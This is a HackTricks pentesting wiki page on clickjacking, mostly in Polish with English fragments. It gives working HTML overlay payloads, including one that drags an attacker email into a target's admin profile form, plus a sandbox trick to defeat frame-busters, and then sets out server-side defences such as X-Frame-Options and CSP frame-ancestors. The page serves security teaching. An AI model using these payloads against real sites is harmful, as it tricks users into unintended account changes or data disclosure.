Clickjacking
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest Clickjacking
W ataku clickjacking użytkownik jest oszukany, aby kliknąć element na stronie, który jest albo niewidoczny, albo podszywa się pod inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobranie malware, przekierowanie na złośliwe strony, ujawnienie danych uwierzytelniających lub informacji wrażliwych, przelewy pieniędzy lub zakupy online.
Sztuczka: wstępne wypełnianie formularzy
Czasami możliwe jest wypełnić wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać clickjacking payload, tak aby użytkownik nacisnął przycisk Submit.
Wypełnianie formularza za pomocą Drag&Drop
Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie określonej informacji (np. adresu e-mail lub konkretnego hasła, które znasz), możesz poprosić go, aby Drag&Drop czegoś, co wpisze kontrolowane przez ciebie dane, jak w this example.
Podstawowy payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Wieloetapowy payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Przeciągnij i upuść + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Jeśli zidentyfikowałeś XSS attack that requires a user to click na jakiś element, żeby trigger XSS i strona jest vulnerable to clickjacking, możesz to wykorzystać, by oszukać użytkownika do kliknięcia przycisku/linku.
Example:
Znalazłeś self XSS w pewnych prywatnych danych konta (dane, które only you can set and read). Strona z formularzem, by ustawić te dane, jest vulnerable na Clickjacking i możesz prepopulate formularz za pomocą GET parameters.
Atakujący może przygotować atak Clickjacking na tę stronę, prepopulating formularz z XSS payload i tricking user do Submit formularza. Tak więc, when the form is submitted i wartości zostaną zmodyfikowane, user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, ta technika polega na zmuszeniu ofiary do podwójnego kliknięcia przycisku na niestandardowej stronie umieszczonej w określonym miejscu i wykorzystaniu różnic czasowych między mousedown i onclick events, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak że victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
warning
Ta technika pozwala oszukać użytkownika, by kliknął w jedno miejsce na stronie ofiary, omijając wszystkie zabezpieczenia przeciw Clickjacking. Dlatego atakujący musi znaleźć sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Rozszerzenia przeglądarki: DOM-based autofill clickjacking
Poza iframingiem stron ofiary, atakujący mogą celować w elementy UI rozszerzeń przeglądarki, które są wstrzykiwane na stronę. Password managers renderują autofill dropdowns w pobliżu fokusowanych pól; poprzez ustawienie fokusu na polu kontrolowanym przez atakującego i ukrycie/zasłonięcie dropdownu rozszerzenia (triki z opacity/overlay/top-layer), wymuszone kliknięcie użytkownika może wybrać zapisany element i wypełnić wrażliwe dane w polach kontrolowanych przez atakującego. Ta warianta nie wymaga ekspozycji iframe i działa w całości przez manipulację DOM/CSS.
- For concrete techniques and PoCs see:
Strategie zapobiegania Clickjacking
Obrony po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania, by zapobiegać Clickjacking:
- Zapewnienie, że okno aplikacji jest głównym lub top window.
- Sprawianie, aby wszystkie ramki były widoczne.
- Zapobieganie kliknięciom na niewidocznych ramkach.
- Wykrywanie i ostrzeganie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty łamiące ramki mogą zostać obejściem:
- Browsers' Security Settings: Niektóre przeglądarki mogą blokować te skrypty w zależności od ustawień bezpieczeństwa lub braku wsparcia dla JavaScript.
- HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Wartości allow-forms i allow-scripts umożliwiają wykonywanie akcji wewnątrz iframe, jednocześnie blokując nawigację na poziomie najwyższego okna. Aby zapewnić zamierzoną funkcjonalność docelowej strony, w zależności od rodzaju ataku mogą być potrzebne dodatkowe uprawnienia takie jak allow-same-origin i allow-modals. Komunikaty w konsoli przeglądarki mogą wskazać, które uprawnienia należy włączyć.
Server-Side Defenses
X-Frame-Options
Nagłówek X-Frame-Options HTTP response header informuje przeglądarki o dopuszczalności renderowania strony w lub
- X-Frame-Options: deny - Żadna domena nie może osadzić zawartości.
- X-Frame-Options: sameorigin - Tylko ta sama domena może osadzić zawartość.
- X-Frame-Options: allow-from https://trusted.com - Tylko określony 'uri' może osadzić stronę.
- Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP is the advised method for Clickjacking protection:
- frame-ancestors 'none' - Similar to X-Frame-Options: deny.
- frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) to środek bezpieczeństwa, który pomaga zapobiegać Clickjacking oraz innym atakom polegającym na wstrzykiwaniu kodu przez określenie, z jakich źródeł przeglądarka powinna zezwalać na ładowanie treści.
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ta polityka pozwala na osadzanie ramek z tego samego origin (self) oraz https://trusted-website.com.
Dyrektywa child-src
- Wprowadzona w CSP level 2 w celu określenia dozwolonych źródeł dla web workers i ramek.
- Działa jako fallback dla frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki i workery z tego samego źródła (self) oraz https://trusted-website.com.
Uwagi dotyczące użycia:
- Wycofywanie: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src.
- Zachowanie awaryjne: Jeśli dyrektywa frame-src jest nieobecna, child-src jest używane jako fallback dla ramek. Jeśli obie są nieobecne, używana jest default-src.
- Ścisłe określenie źródeł: Używaj tylko zaufanych źródeł w dyrektywach, aby zapobiec wykorzystaniu.
JavaScript Frame-Breaking Scripts
Chociaż nie są całkowicie niezawodne, JavaScript-based frame-busting scripts mogą być użyte, aby zapobiec osadzeniu strony w ramce. Przykład:
if (top !== self) {
top.location = self.location
}
Stosowanie Anti-CSRF Tokens
- Token Validation: Używaj anti-CSRF tokens w aplikacjach webowych, aby upewnić się, że żądania zmieniające stan są wykonywane świadomie przez użytkownika, a nie przez stronę Clickjacked.
Źródła
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.